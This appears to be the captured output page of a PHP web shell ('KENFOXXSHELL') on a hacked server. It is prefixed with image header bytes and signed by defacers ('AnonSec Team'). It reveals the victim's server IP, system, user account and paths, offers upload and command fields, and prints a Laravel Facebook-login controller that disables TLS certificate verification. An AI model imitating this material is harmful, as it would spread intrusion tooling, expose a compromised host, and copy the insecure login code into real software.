JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/vaoday/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/vaoday/app/Http/Controllers/SocialAuthController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Providers\SocialAccountService;
use App\SocialAccount;
use App\Users;
use Socialite,Auth,User;

class SocialAuthController extends Controller

{

    public function redirect()
    {
        return Socialite::driver('facebook')->redirect();  
   }   

    public function callback(SocialAccountService $service)
    {
        
        @$user = $service->createOrGetUser(Socialite::driver('facebook')->setHttpClient(new \GuzzleHttp\Client(['verify' => false]))->user());
 
        $credentials = array('username'=>null,'password'=> null);

        $user_social = Users::where([
                ['email','=',@$user->email],
                ['id_facebook','=',@$user->id_facebook],
                ['status','=','1'],
                ['level','=','2']
            ])->first();
     
        if(@$user_social){
            if(Auth::guard('socialite')->loginUsingId(@$user_social->id)){
                return redirect('/');
            }
            else{
                return redirect()->back()->with(['flag'=>'danger','message'=>'Đăng nhập không thành công']);
            }
        }
    }
}


Anon7 - 2022
AnonSec Team